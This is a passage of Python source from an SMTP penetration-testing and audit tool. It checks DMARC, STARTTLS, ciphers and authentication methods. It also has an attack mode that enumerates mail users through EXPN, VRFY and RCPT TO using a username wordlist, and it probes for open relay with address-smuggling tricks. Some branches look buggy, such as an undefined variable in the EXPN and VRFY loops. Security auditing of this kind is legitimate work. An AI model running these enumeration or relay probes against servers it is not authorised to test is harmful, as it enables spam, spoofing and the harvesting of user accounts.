datetime.datetime(yr, j, k) selectors.append(t.strftime(f)) selectors.append('%d' % (time.mktime(t.timetuple()))) except: pass dbg('Generated: {} selectors to review.'.format(len(selectors))) return selectors # # =========================== # DMARC TESTS # def evaluateDmarc(self, dmarc, spf, dkim): lack = [] if not spf: lack.append('SPF') if not dkim: lack.append('DKIM') if dmarc and lack: fail('UNSECURE: DMARC cannot work without {} being set.'.format(', '.join(lack))) # Return anyway... #return False return dmarc def dmarcTest(self): ret = False found = False records = [] for domain in self.getDomainsToReviewDNS(): domain = '_dmarc.' + domain try: for txt in resolver.query(domain, 'TXT'): txt = txt.to_text().replace('"', '') if txt.lower().startswith('v=dmarc'): info('Found DMARC record: "{}"'.format(txt)) ret = self.processDmarc(txt) records.append(txt) found = True break except (resolver.NXDOMAIN, resolver.NoAnswer, resolver.NoNameservers): pass if ret: break if ret: ok('SECURE: DMARC test passed.') _out('\tRecords: "{}"'.format('", "'.join(records))) elif found and not ret: fail('UNSECURE: DMARC tets not passed.') else: fail('UNSECURE: DMARC record is missing.') return ret def processDmarc(self, record): parser = DmarcParser() return parser.processDmarc(record) def generateUserNamesList(self, permute = True): users = [] common_ones = ('all', 'admin', 'mail', 'test', 'guest', 'root', 'spam', 'catchall', 'abuse', 'contact', 'administrator', 'email', 'help', 'post', 'postmaster', 'rekrutacja', 'recruitment', 'pomoc', 'ayuda', 'exchange', 'relay', 'hilfe', 'nobody', 'anonymous', 'security', 'press', 'media', 'user', 'foo', 'robot', 'av', 'antivirus', 'gate', 'gateway', 'job', 'praca', 'it', 'auto', 'account', 'hr', 'db', 'web') if not permute: return common_ones words = common_ones + config['uncommon_words'] # Set 1: User-defined try: if self.userNamesList: with open(self.userNamesList, 'r') as f: for l in f.readlines(): users.append(l.strip()) info('Read {} lines from users list.'.format(len(users)), toOutLine = True) return users except IOError: err('Could not open user names list file.', toOutLine = True) sys.exit(-1) # Set 2: Common words permutations for w in words: users.append('{}'.format(w)) for i in range(0, 11): users.append('{}{}'.format(w, i)) users.append('{}{:02d}'.format(w, i)) dbg('Generated list of {} user names to test.'.format(len(users))) return users # # =========================== # EXPN TESTS # def expnTest(self, attackMode = False): i = 0 maxFailures = 64 failures = 0 secureConfigurationCodes = (252, 500, 502) unsecureConfigurationCodes = (250, 251, 550, 551, 553) userNamesList = set(self.generateUserNamesList(permute = attackMode)) foundUserNames = set() info('Attempting EXPN test, be patient - it may take a longer while...') try: for user in userNamesList: if config['max_enumerations'] > -1 and i >= config['max_enumerations']: dbg('Max enumerations exceeded accepted limit.') if not attackMode: return False else: return list(foundUserNames ) if not attackMode and failures >= maxFailures: err('FAILED: EXPN test failed too many times.') return None out = self.sendcmd('EXPN {}'.format(user)) if out[0] in secureConfigurationCodes \ or (out[0] == 550 and 'access denied' in out[1].lower()): ok('SECURE: EXPN could not be used for user enumeration.') _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) if not attackMode: return True else: return list(foundUserNames) elif out[0] in unsecureConfigurationCodes: if not attackMode: fail('UNSECURE: "EXPN {}": allows user enumeration!'.format( user )) _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) return False else: ok('Found new user: {}@{}'.format(rcptTo, self.getMailDomain()), toOutLine = True) _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) foundUserNames.add(rcptTo) elif (out[0] == False and out[1] == False) or not out[1]: info('UNKNOWN: During EXPN test the server disconnected. This might be secure.') if not attackMode: return None else: return list(foundUserNames) else: dbg('Other return code: {}'.format(out[0])) failures += 1 i += 1 except KeyboardInterrupt: info('EXPN Attack interrupted.', toOutLine = True) if not attackMode: ok('SECURE: EXPN test succeeded, yielding secure configuration.') return True else: ok('EXPN Attack finished. Found: {} / {}'.format( len(foundUserNames), len(userNamesList) ), toOutLine = True) return list(foundUserNames) # # =========================== # RCPT TO TESTS # def rcptToTests(self, attackMode = False): i = 0 maxFailures = 256 failures = 0 unsecureConfigurationCodes = (250, ) secureConfigurationCodes = (530, 553, 550) userNamesList = set(self.generateUserNamesList(permute = attackMode)) foundUserNames = set() info('Attempting RCPT TO test, be patient - it takes a longer while...') for mailFrom in userNamesList: if not attackMode and failures >= maxFailures: err('FAILED: RCPT TO test failed too many times.') return None if config['max_enumerations'] > -1 and i >= config['max_enumerations']: dbg('Max enumerations exceeded accepted limit.') if not attackMode: return False else: return list(foundUserNames ) out = self.sendcmd('MAIL FROM: <{}@{}>'.format( mailFrom, self.getMailDomain() )) dbg('MAIL FROM returned: ({})'.format(out)) if out and out[0] in (250,): dbg('Sender ok. Proceeding...') elif out[0] in (530, ): # 530: 5.7.1 Client was not authenticated ok('SECURE: SMTP server requires prior authentication when using RCPT TO.') _out('\tReturned: ("{}")'.format(out[1].decode())) if not attackMode: return True else: return list(foundUserNames) elif (out[0] == 503 and '5.5.1' in out[1] and 'sender' in out[1].lower() and 'specified' in out[1].lower()): # 503, 5.5.1 Sender already specified failures += 1 continue elif out[0] in (503, ): # 503: 5.5.2 Send Hello first self.connect(quiet = True, sayHello = True) failures += 1 continue elif (out[0] == False and out[1] == False) or not out[1]: info('UNKNOWN: During RCPT TO the server has disconnected. This might be secure.') if not attackMode: return None else: return list(foundUserNames) else: dbg('Server returned unexpected response in RCPT TO: {}'.format(out)) failures += 1 continue i = 0 failures = 0 try: for rcptTo in userNamesList: if mailFrom == rcptTo: continue if attackMode: perc = float(i) / float(len(userNamesList)) * 100.0 if i % (len(userNamesList) / 10) == 0 and i > 0: info('RCPT TO test progress: {:02.2f}% - {:04} / {:04}'.format( perc, i, len(userNamesList)), toOutLine = True) if config['max_enumerations'] > -1 and i >= config['max_enumerations']: dbg('Max enumerations exceeded accepted limit.') if not attackMode: return None else: return list(foundUserNames) if not attackMode and failures >= maxFailures: err('FAILED: RCPT TO test failed too many times.') return None out = self.sendcmd('RCPT TO: <{}@{}>'.format( rcptTo, self.getMailDomain() )) dbg('RCTP TO returned: ({})'.format(out)) if out and out[0] in unsecureConfigurationCodes: if not attackMode: fail('UNSECURE: "RCPT TO" potentially allows user enumeration: ({}, {})'.format( out[0], out[1].decode() )) return False elif rcptTo not in foundUserNames: ok('Found new user: {}@{}'.format(rcptTo, self.getMailDomain()), toOutLine = True) _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) foundUserNames.add(rcptTo) elif out and out[0] in secureConfigurationCodes: if SmtpTester.ifMessageLike(out, (550, ), ('user', 'unknown', 'recipient', 'rejected'), 2): if not attackMode: info('Warning: RCPT TO may be possible: {} ({})'.format(out[0], out[1].decode())) # # Can't decided, whether error code shall be treated as RCPT TO disabled message or # as an implication that wrong recipient's address was tried. Therefore, we disable the below # logic making it try every user name in generated list, until something pops up. # #else: # ok('SECURE: Server disallows user enumeration via RCPT TO method.') # _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) # if not attackMode: return False # else: return list(foundUserNames) elif (out[0] == False and out[1] == False) or not out[1]: info('UNKNOWN: During RCPT TO test the server has disconnected. This might be secure.') if not attackMode: return None else: return list(foundUserNames) else: dbg('Other return code: {}'.format(out[0])) failures += 1 i += 1 if attackMode: break except KeyboardInterrupt: info('RCPT TO Attack interrupted.', toOutLine = True) break if not attackMode: ok('SECURE: RCPT TO test succeeded, yielding secure configuration.') return True else: ok('RCPT TO Attack finished. Found: {} / {}'.format( len(foundUserNames), len(userNamesList) ), toOutLine = True) return list(foundUserNames) # # =========================== # VRFY TESTS # def vrfyTest(self, attackMode = False): i = 0 maxFailures = 64 failures = 0 unsecureConfigurationCodes = (250, 251, 550, 551, 553) secureConfigurationCodes = (252, 500, 502, 535) userNamesList = set(self.generateUserNamesList(permute = attackMode)) foundUserNames = set() info('Attempting VRFY test, be patient - it may take a longer while...') try: for user in userNamesList: if config['max_enumerations'] > -1 and i >= config['max_enumerations']: dbg('Max enumerations exceeded accepted limit.') if not attackMode: return False else: return list(foundUserNames) if not attackMode and failures >= maxFailures: dbg('Failures exceeded maximum failures limit.') return None out = self.sendcmd('VRFY {}'.format(user)) if out[0] in secureConfigurationCodes \ or (out[0] == 550 and 'access denied' in out[1].lower()): comm = '' if out[0] == 535: comm = 'unauthenticated ' ok('SECURE: VRFY disallows {}user enumeration.'.format(comm)) _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) if not attackMode: return True else: return list(foundUserNames) elif out[0] in unsecureConfigurationCodes: if not attackMode: fail('UNSECURE: "VRFY {}": allows user enumeration!'.format( user )) _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) return False else: ok('Found new user: {}@{}'.format(rcptTo, self.getMailDomain()), toOutLine = True) _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) foundUserNames.add(rcptTo) elif (out[0] == False and out[1] == False) or not out[1]: info('UNKNOWN: During VRFY test the server has disconnected. This might be secure.') if not attackMode: return None else: return list(foundUserNames) else: dbg('Other return code: {}'.format(out[0])) failures += 1 i += 1 except KeyboardInterrupt: info('Attack interrupted.', toOutLine = True) if not attackMode: ok('SECURE: VRFY test succeeded, yielding secure configuration.') return True else: ok('VRFY Attack finished. Found: {} / {}'.format( len(foundUserNames), len(userNamesList) ), toOutLine = True) return list(foundUserNames) # # =========================== # OPEN-RELAY TESTS # def openRelayTest(self): if self.connect(quiet = True, sayHello = True): results = {} internalDomain = self.getMailDomain() externalDomain = config['smtp_external_domain'] ip = '[{}]'.format(self.resolvedIPAddress) if not self.resolvedIPAddress: ip = '[{}]'.format(self.originalHostname) srvname = self.localHostname domain = self.originalHostname if domain == srvname: domain = self.getMailDomain() dbg('Attempting open relay tests. Using following parameters:\n\tinternalDomain = {}\n\texternalDomain = {}\n\tdomain = {}\n\tsrvname = {}\n\tip = {}'.format( internalDomain, externalDomain, domain, srvname, ip )) domains = { 'internal -> internal' : [internalDomain, internalDomain], 'srvname -> internal' : [srvname, internalDomain], 'internal -> external' : [internalDomain, externalDomain], 'external -> internal' : [externalDomain, internalDomain], 'external -> external' : [externalDomain, externalDomain], 'user@localhost -> external' : ['localhost', externalDomain], #'empty -> empty' : ['', ''], 'empty -> internal' : ['', internalDomain], 'empty -> external' : ['', externalDomain], 'ip -> internal' : [ip, internalDomain], 'ip -> to%domain@[ip]' : [ip, '<USER>%{}@{}'.format(domain, ip)], 'ip -> to%domain@srvname': [ip, '<USER>%{}@{}'.format(domain, srvname)], 'ip -> to%domain@[srvname]': [ip, '<USER>%{}@[{}]'.format(domain, srvname)], 'ip -> "to@domain"' : [ip, '"<USER>@{}"'.format(domain)], 'ip -> "to%domain"' : [ip, '"<USER>%{}"'.format(domain)], 'ip -> to@domain@[ip]' : [ip, '<USER>@{}@{}'.format(domain, ip)], 'ip -> to@domain@' : [ip, '<USER>@{}@'.format(domain)], 'ip -> "to@domain"@[ip]': [ip, '"<USER>@{}"@{}'.format(domain, ip)], 'ip -> to@domain@srvname': [ip, '<USER>@{}@{}'.format(domain,srvname)], 'ip -> @[ip]:to@domain' : [ip, '@{}:<USER>@{}'.format(ip, domain)], 'ip -> @srvname:to@domain': [ip, '@{}:<USER>@{}'.format(srvname, domain)], 'ip -> domain!to' : [ip, '{}!<USER>'.format(domain)], 'ip -> domain!to@[ip]' : [ip, '{}!<USER>@{}'.format(domain, ip)], 'ip -> domain!to@srvname': [ip, '{}!<USER>@{}'.format(domain,srvname)], } dbg('Performing Open-Relay tests...') interrupted = False try: if (self.openRelayParams[0] != '' and self.openRelayParams[1] != '') and \ ('@' in self.openRelayParams[0] and '@' in self.openRelayParams[1]): info('Running custom test: (from: <{}>) => (to: <{}>)'.format( self.openRelayParams[0], self.openRelayParams[1] ), toOutLine = True) results['custom'] = self._openRelayTest('custom', self.openRelayParams) else: avoidMailFrom = False rollBackSenderOnce = False num = 0 for k, v in domains.items(): if self.stopEverything: break num += 1 results[k] = False retry = 0 for i in range(2): if self.stopEverything: break dbg('Attempting Open-Relay test #{}: "{}"'.format(num, k)) results[k] = self._openRelayTest(k, v, avoidMailFrom, num) if results[k] == 554 and not rollBackSenderOnce: dbg('Rolling back to traditional sender\'s address: @{}'.format(internalDomain)) rollBackSenderOnce = True for d, v in domains.items(): if d.startswith('ip -> '): domains[d] = [internalDomain, v[1]] #elif (results[k] == 503 or results[k] == 501) and not avoidMailFrom: # dbg('Will not send MAIL FROM anymore.') # avoidMailFrom = True elif (results[k] == 501 or results[k] == 503): results[k] = False dbg('Reconnecting as SMTP server stuck in repeated/invalid MAIL FROM envelope.') if self.stopEverything: break self.reconnect(quiet = True) results[k] = self._openRelayTest(k, v, avoidMailFrom, num) continue break except KeyboardInterrupt: interrupted = True info('Open-Relay tests interrupted by user!') if not config['always_unfolded_results'] and all(results.values()): ok('SECURE: Open-Relay seems not to be possible as proved after {} tests.'.format(len(results))) return True else: sumOfValues = 0 for k, v in results.items(): dbg('Open-Relay test ({}) resulted with: {}'.format( k, v )) if v == False: sumOfValues += 1 appendix = '' if sumOfValues != len(results): appendix = '\tThe rest of tests failed at some point, without any status.' if interrupted: sumOfValues = 1 if sumOfValues < 1 else sumOfValues appendix = '\tTests were interrupted thus dunno whether the server is open-relaying or not.' _out('[?] UNKNOWN: Open-Relay were interrupted after {}/{} carried tests.'.format( sumOfValues - 1, len(results) ), True, colors.fg.pink) else: fail('UNSECURE: Open-Relay MAY BE possible as turned out after {}/{} successful tests.'.format( sumOfValues, len(results) )) if appendix: _out(appendix, True, colors.fg.pink) return results else: fail('FAILED: Could not reconnect for Open-Relay testing purposes.') return None @staticmethod def _extractMailAddress(param, baseName = ''): ''' @param param - specifies target SMTP domain @param baseName - specifies target mail username ''' surnames = ['John Doe', 'Mike Smith', 'William Dafoe', 'Henry Mitchell'] if not param: return '', '' base = 'test{}'.format(random.randint(0, 9)) if baseName: base = baseName # Format: [email protected] m = re.match(r"(^[a-zA-Z0-9_.+-]+)@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$", baseName) if m: base = m.group(1) if '<USER>' in param: param = param.replace('<USER>', base) addr = '{}@{}'.format(base, param) if '@' in param and param.count('@') == 1: addr = param param = param.split('@')[1] elif '@' in param and param.count('@') > 1: return param, param mail = '"{}" <{}>'.format(random.choice(surnames), addr) # Format: [email protected] m = re.match(r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)", param) if m: addr = m.group(1) mail = '"{}" <{}>'.format(random.choice(surnames), addr) return addr, mail # Format: "John Doe" <[email protected]> m = re.match(r'(^\"([^\"]+)\"[\s,]+<([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)>$)', param) if m: addr = m.group(3) mail = '"{}" <{}>'.format(m.group(2), addr) return addr, mail return addr, mail @staticmethod def extractMailAddress(param, baseName = ''): dbg('Extracting mail address from parameter: "{}", according to base: "{}"'.format( param, baseName )) addr, mail = SmtpTester._extractMailAddress(param, baseName) dbg('After extraction: addr="{}", mail="{}"'.format( addr, mail )) return addr, mail def _openRelayTest(self, testName, twoDomains, avoidMailFrom = False, num = 0, doNotSendAndTest = False): secureConfigurationCodes = (221, 454, 500, 501, 503, 504, 530, 550, 554, ) now = datetime.datetime.now() # If True - secure configuration, could not send via open-relay result = None fromAddr, fromMail = SmtpTester.extractMailAddress(twoDomains[0], self.openRelayParams[0]) toAddr, toMail = SmtpTester.extractMailAddress(twoDomains[1], self.openRelayParams[1]) if testName == 'custom': info('Performing custom Open-Relay test from: {}, to: {}'.format( fromMail, toMail )) dateNow = now.strftime("%a, %d %b %Y %H:%m:%S") subject = 'Open-Relay test #{}: {}'.format(num, testName) mailFromReturn = '' rcptToReturn = '' dataReturn = '' mailCommands = ( 'MAIL From: ' + fromAddr, 'RCPT To: ' + toAddr, 'DATA', '<HERE-COMES-MESSAGE>' ) message = '''From: {fromMail} To: {toMail} Subject: {subject} Date: {dateNow} Warning! This is a test mail coming from 'smtpAudit.py' tool. If you see this message it means that your SMTP server is *vulnerable* to Open-Relay spam technique (https://en.wikipedia.org/wiki/Open_mail_relay). Unauthorized users will be able to make your server send messages in a name of other mail users. You may want to contact with your mail administrator and pass him with the following informations: --------------------8<-------------------- Open-Relay test name: "{testName}" MAIL From: {fromAddr} Server response: {mailFromReturn} RCPT To: {toAddr} Server response: {rcptToReturn} DATA Server response: {dataReturn} Subject: "{subject}" Date: {dateNow} --------------------8<-------------------- smtpAudit.py ({VERSION}) - SMTP Server penetration testing / audit tool, (https://gist.github.com/mgeeky/ef49e5fb6c3479dd6a24eb90b53f9baa) by Mariusz Banach / mgeeky (<[email protected]>) . ''' n = 0 out = None for line in mailCommands: if self.stopEverything: break if avoidMailFrom and line.startswith('MAIL From:'): dbg('Skipping MAIL From: line.') continue n += 1 if line.startswith('DATA') and doNotSendAndTest: break if line == '<HERE-COMES-MESSAGE>': line = message.format( fromMail = fromMail, toMail = toMail, subject = subject, dateNow = dateNow, fromAddr = fromAddr, toAddr = toAddr, testName = testName, VERSION = VERSION, mailFromReturn = mailFromReturn, rcptToReturn = rcptToReturn, dataReturn = dataReturn ) out = self.sendcmd(line) msg = out[1].decode().lower() if line.startswith('MAIL From'): mailFromReturn = '{} ({})'.format(out[0], out[1].decode()) if line.startswith('RCPT To'): rcptToReturn = '{} ({})'.format(out[0], out[1].decode()) if line.startswith('DATA'): dataReturn = '{} ({})'.format(out[0], out[1].decode()) if 'rcpt to' in line.lower(): _out('[>] Open-Relay test (from: <{}>) => (to: <{}>); returned: {} ({})'.format( fromAddr, toAddr, out[0], out[1].decode() ), False, colors.fg.pink) elif out[0] == 221 and 'can' in msg and 'break' in msg and 'rules' in msg: # 221 (2.7.0 Error: I can break rules, too. Goodbye.) result = True if out[0] == 501 and 'mail from' in msg and 'already' in msg: # 501 (5.5.1 MAIL FROM already established) return 501 elif out[0] == 503 and 'nested' in msg and 'mail' in msg: # 503 (5.5.1 Error: nested MAIL command) return 503 elif out[0] == 503 and 'already' in msg and 'specified' in msg: # 503 (5.5.1 Sender already specified) #return 503 continue elif out[0] == 554 and 'bad' in msg and 'sender' in msg and 'addr' in msg: # 554 (5.7.1 Bad senders system address) dbg('Bad sender\'s address. Rolling back.') return 554 elif (out[0] == 550 or out[0] == 530) and self.processResponseForAcceptedDomainsFailure(out): # 530 (5.7.1 Client was not authenticated). # 550 (5.7.1 Client does not have permissions to send as this sender). info('Microsoft Exchange Accepted Domains mechanism properly rejects us from relaying. Splendid.') result = True elif out[0] == 550 and self.processResponseForSpfFailure(out): # 550 (5.7.1 Recipient address rejected: Message rejected due to: SPF fail - not authorized). info('SPF properly rejects us from relaying. Splendid.') result = True elif not out or not out[0] or not out[1] or out[0] in secureConfigurationCodes: if line.startswith('From: '): info('Open-Relay {} MAY be possible: the server hanged up on us after invalid "From:" (step: {})'.format( testName, n ), toOutLine = True) info('\tThis means, that upon receiving existing From/To addresses - server could allow for Open-Relay.', toOutLine = True) info('\tTo further analyse this issue - increase verbosity and choose another "--from" or "--to" parameters.', toOutLine = True) result = None else: dbg('Open-Relay {} test failed at step {}: {}.'.format( testName, n, line.strip() )) result = True break dbg('Open-Relay {} test DID NOT failed at step {}: {}. Response: {}'.format( testName, n, line.strip(), str(out) )) verdict = 'most likely' if out[0] == 250: verdict = 'TOTALLY' if doNotSendAndTest: return True if result != True and out[0] < 500: fail('UNSECURE: Open-Relay {} is {} possible.'.format( testName, verdict )) _out('\tReturned: {} ("{}")'.format(out[0], out[1].decode())) result = False elif (result == False and not out[0]) or result == None: fail('UNKNOWN: Server has disconnected after the Open-Relay ({}) test. Most likely secure.'.format(testName)) result = None else: if 'relaying denied' in out[1].decode().lower(): # (550, b'5.7.1 Relaying denied') ok('SECURE: Open-Relay attempt "{}" was denied.'.format(testName)) else: info('Open-Relay "{}" seems not to be possible.'.format( testName )) try: _out('\tReturned: {} ({})'.format(out[0], out[1].decode())) except: _out('\tReturned: ({})'.format(str(out))) result = True return result # # =========================== # SSL AUTH ENFORCEMENT TESTS # def starttlsOffer(self): if not self.availableServices: self.getAvailableServices() if not self.availableServices: fail('UNKNOWN: Could not collect available SMTP services') return None ret = ('starttls' in map(lambda x: x.lower(), self.availableServices)) if ret or self.ssl: ok('SECURE: STARTTLS is offered by SMTP server.') else: dbg('Trying to send STARTTLS by hand') out = self.sendcmd('STARTTLS', nowrap = True) if out[0] == 220: ok('SECURE: STARTTLS is supported, but not offered at first sight.') ret = True self.connect(quiet = True) else: fail('UNSECURE: STARTTLS is NOT offered by SMTP server.') return ret # # =========================== # SSL AUTH ENFORCEMENT TESTS # def testSSLAuthEnforcement(self): for service in SmtpTester.smtpAuthServices: ret = self.testSSLAuthEnforcementForService(service) if ret == False: return ret return True def testSSLAuthEnforcementForService(self, service): authMethods = self.getAuthMethods(service) ret = True emptyMethods = False notSupportedCodes = (500, 502, 503, 504, 535) unsecureConfigurationCodes = () for authMethod in authMethods: if authMethod.upper() == 'NTLM': _out('[?] This may be a Microsoft Exchange receive connector offering Integrated Windows Authentication service.', True, colors.fg.pink) if authMethod.upper() == 'GSSAPI': _out('[?] This may be a Microsoft Exchange receive connector offering Exchange Server authentication service over Generic Security Services application programming interface (GSSAPI) and Mutual GSSAPI authentication.', True, colors.fg.pink) if not authMethods: emptyMethods = True authMethods = SmtpTester.commonSmtpAuthMethods.keys() for authMethod in authMethods: dbg("Checking authentication method: {}".format(authMethod)) if authMethod.upper() in SmtpTester.authMethodsNotNeedingStarttls: dbg('Method {} does not need to be issued after STARTTLS.'.format( authMethod.upper() )) #continue auths = [] _auth = '{} {}'.format(service, authMethod) if authMethod in SmtpTester.commonSmtpAuthMethods.keys(): param = SmtpTester.commonSmtpAuthMethods[authMethod] if isinstance(param, bytes): param = param.decode() if isinstance(param, str): _auth += ' ' + param auths.append(_auth) elif isinstance(param, list) or isinstance(param, tuple): for n in param: if isinstance(param, bytes): n = n.decode() if isinstance(n, str): auths.append(_auth) n = base64.b64encode(n.replace('DOMAIN.COM', self.originalHostname).encode()) auths.append(n) elif isinstance(n, list) or isinstance(n, tuple): auths.append(_auth) for m in n: if isinstance(m, bytes): m = m.decode() if 'DOMAIN.COM' in m: m = base64.b64encode(m.replace('DOMAIN.COM', self.originalHostname).encode()) auths.append(m) index = 0 for index in range(len(auths)): auth = auths[index] out = self.sendcmd(auth, nowrap = True) dbg('The server responded for {} command with: ({})'.format(auth, str(out))) if not out or out[0] == False: dbg('Something gone wrong along the way.') elif out and out[0] in notSupportedCodes: dbg('The {} {} method is either not supported or not available.'.format( service, authMethod )) index += 1 elif not out[0] and not out[1]: info('The server disconnected during {} {}, this might be secure.'.format( service, authMethod )) elif out[0] == 454: # 4.7.0 TLS not available due to local problem fail('UNSECURE: STARTTLS seems to be not available on the server side.') _out('\tReturned: {} ("{}")'.format(out[0], out[1].decode())) return False elif out[0] == 334: # 334 base64 encoded User then Password prompt if out[1].decode() == 'VXNlcm5hbWU6': dbg('During LOGIN process the server enticed to carry on') elif out[1].decode() == 'UGFzc3dvcmQ6': if not self.ssl: fail('UNSECURE: Server allowed authentication over non-SSL channel via "{} {}"!'.format( service, authMethod )) _out('\tReturned: {} ("{}")'.format(out[0], out[1].decode())) return False else: dbg('The {} {} method is not understood.: ({})'.format( service, authMethod, str(out) )) elif out and not (out[0] in (530, ) and b'starttls' in out[1].lower()): fail('UNSECURE: For method "{} {}" the server did not required STARTTLS!'.format( service, authMethod )) _out('\tReturned: {} ("{}")'.format(out[0], out[1].decode())) return False elif out and (out[0] == 530 and b'STARTTLS' in out[1]): ok('SECURE: Server enforces SSL/TLS channel negotation before {}.'.format( service )) _out('\tReturned: {} ("{}")'.format(out[0], out[1].decode())) return True if set(authMethods) <= set(SmtpTester.authMethodsNotNeedingStarttls): ok('SECURE: There were no {} methods requiring STARTTLS.'.format(service)) return True if emptyMethods: info('The server does not offer any {} methods to enforce.'.format( service )) else: info('UNKNOWN: None of tested {} methods yielded any result (among: {}).'.format( service, ', '.join(authMethods) )) return None # # =========================== # SSL/TLS UNSECURE CIPHERS TESTS # def testSecureCiphers(self): performedStarttls = False if not self.starttlsSucceeded: dbg('STARTTLS session has not been set yet. Setting up...') performedStarttls = self.performStarttls() if not self.ssl and not performedStarttls and not self.starttlsSucceeded: err('Could not initiate successful STARTTLS session. Failure') return None try: cipherUsed = self.server_tls_params['cipher'] version = self.server_tls_params['version'] except (KeyError, AttributeError): err('Could not initiate successful STARTTLS session. Failure') return None dbg('Offered cipher: {} and version: {}'.format(cipherUsed, version)) if cipherUsed[0].upper() in SmtpTester.secureCipherSuitesList: ok('SECURE: Offered cipher is considered secure.') _out('\tCipher: {}'.format(cipherUsed[0])) return True for secureCipher in SmtpTester.secureCipherSuitesList: ciphers = set(secureCipher.split('-')) cipherUsedSet = set(cipherUsed[0].upper().split('-')) intersection = ciphers.intersection(cipherUsedSet) minWords = min(len(ciphers), len(cipherUsedSet)) if minWords >= 3 and len(intersection) >= (minWords - 1): ok('SECURE: Offered cipher is having secure structure.') _out('\tCipher: {}'.format(cipherUsed)) return True unsecureCiphers = ('RC4', '3DES', 'DES', ) usedUnsecureCipher = '' for cipher in unsecureCiphers: if cipher in cipherUsed[0].upper(): fail('SMTP Server offered unsecure cipher.') _out('\tCipher: {}'.format(cipher)) return False usedSSL = 'ssl' in version.lower() unsecureSSLs = ('sslv2', 'sslv3') if 'shared_ciphers' in self.server_tls_params.keys(): unsecureProtocolsOffered = set() for s in self.server_tls_params['shared_ciphers']: dbg('Offered cipher (22222): {}'.format(s[1])) if s[1].lower() in unsecureSSLs: unsecureProtocolsOffered.add(s[1]) if len(unsecureProtocolsOffered) > 0: out = ', '.join(unsecureProtocolsOffered) fail('SMTP Server offered unsecure SSL/TLS protocols: {}'.format(out)) return False else: fail('No server TLS parameters obtained yet.') if not usedSSL and not usedUnsecureCipher: ok('SECURE: SMTP Server did not offered unsecure encryption suite.') return True else: fail('UNSECURE: SMTP Server offered unsecure encryption suite.') _out('\tCipher: {}'.format(usedUnsecureCipher)) return False # # =========================== # UNSECURE AUTH METHODS TESTS # def testSecureAuthMethods(self): success = None for service in SmtpTester.smtpAuthServices: ret = self.testSecureAuthMethodsForService(service) if ret == False: return ret elif ret == True: # ret may be also 'None' success = True return success def testSecureAuthMethodsForService(self, service): authMethods = self.getAuthMethods(service) unsecureAuthMethods = ('PLAIN', 'LOGIN') ret = True methods = set() if not authMethods: authMethods = SmtpTester.commonSmtpAuthMethods foundMethods = [] dbg('The server is not offering any {} method. Going to try to discover ones.'.format( service )) for authMethod in authMethods: if authMethod in SmtpTester.authMethodsNotNeedingStarttls: dbg('Method: {} {} is considered not needing STARTTLS.'.format( service, authMethod )) continue auth = '{} {}'.format(service, authMethod) out = self.sendcmd(auth) if out[0] == (500, 503) or \ (out[1] and (b'not available' in out[1].lower() or \ b'not recognized' in out[1].lower())): info('UNKNOWN: {} method not available at all.'.format(service)) return None elif out and out[0] in (334, ): dbg('Authentication via {} is supported'.format(auth)) foundMethods.append(authMethod) if authMethod.upper() in unsecureAuthMethods: if not self.ssl: fail('UNSECURE: SMTP offers plain-text authentication method: {}!'.format( auth )) else: ok('SECURE: SMTP offered plain-text authentication method over SSL: {}!'.format( auth )) _out('\tOffered reply: {} ("{}")'.format(out[0], out[1].decode())) ret = False break if out[0] == False and out[1] == False: info('UNKNOWN: The server has disconnected while checking'\ ' {}. This might be secure'.format( auth )) return None methods = foundMethods else: for authMethod in authMethods: if authMethod.upper() in unsecureAuthMethods: if not self.ssl: fail('UNSECURE: SMTP server offers plain-text authentication method: {}.'.format( authMethod )) else: ok('SECURE: SMTP server offered plain-text authentication method over SSL: {}.'.format( authMethod )) ret = False break methods = authMethods if ret and methods: ok('SECURE: Among found {} methods ({}) none was plain-text.'.format( service, ', '.join(methods) )) elif not ret: pass elif not methods: info('UNKNOWN: The server does not offer any {} methods.'.format( service )) return None dbg('ret = {}, methods = {}'.format(ret, methods)) return ret # # =========================== # SSL/TLS PRIVATE KEY LENGTH # def testSSLKeyLen(self): performedStarttls = False if not self.server_tls_params or not self.starttlsSucceeded: dbg('STARTTLS session has not been set yet. Setting up...') performedStarttls = self.performStarttls() if not performedStarttls and not self.starttlsSucceeded: err('Could not initiate successful STARTTLS session. Failure') return None try: cipherUsed = self.server_tls_params['cipher'] version = self.server_tls_params['version'] sharedCiphers = self.server_tls_params['shared_ciphers'] except (KeyError, AttributeError): err('Could not initiate successful STARTTLS session. Failure') return None dbg('Offered cipher: {} and version: {}'.format(cipherUsed, version)) keyLen = cipherUsed[2] * 8 if keyLen < config['key_len']: fail('UNSECURE: SSL/TLS negotiated cipher\'s ({}) key length is insufficient: {} bits'.format( cipherUsed[0], keyLen )) elif sharedCiphers != None and len(sharedCiphers) > 0: for ciph in sharedCiphers: name, ver, length = ciph if length * 8 < 1024: fail('UNSECURE: SMTP server offers SSL/TLS cipher suite ({}) which key length is insufficient: {} bits'.format( name, keyLen )) return False ok('SECURE: SSL/TLS negotiated key length is sufficient ({} bits).'.format( keyLen )) else: fail('UNKNOWN: Something went wrong during SSL/TLS shared ciphers negotiation.') return None return keyLen >= config['key_len'] # # =========================== # SPF VALIDATION CHECK # def spfValidationTest(self): if not self.spfValidated: dbg('Sending half-mail to domain: "{}" to trigger SPF/Accepted Domains'.format(self.mailDomain)) self._openRelayTest('spf-validation', ['test@' + self.getMailDomain(), 'admin@' + self.getMailDomain()], False, 0, True) if self.spfValidated: ok('SECURE: SMTP Server validates sender\'s SPF record') info('\tor is using MS Exchange\'s Accepted Domains mechanism.') _out('\tReturned: {}'.format(self.spfValidated)) return True else: fail("UNKNOWN: SMTP Server has not been seen validating sender's SPF record.") info("\tIf it is Microsoft Exchange - it could have reject us via Accepted Domains mechanism using code 550 5.7.1") return None def processResponseForAcceptedDomainsFailure(self, out): try: msg = out[1].lower() #if out[0] == 530 and '5.7.1' in msg and 'was not authenticated' in msg: # info('Looks like we might be dealing with 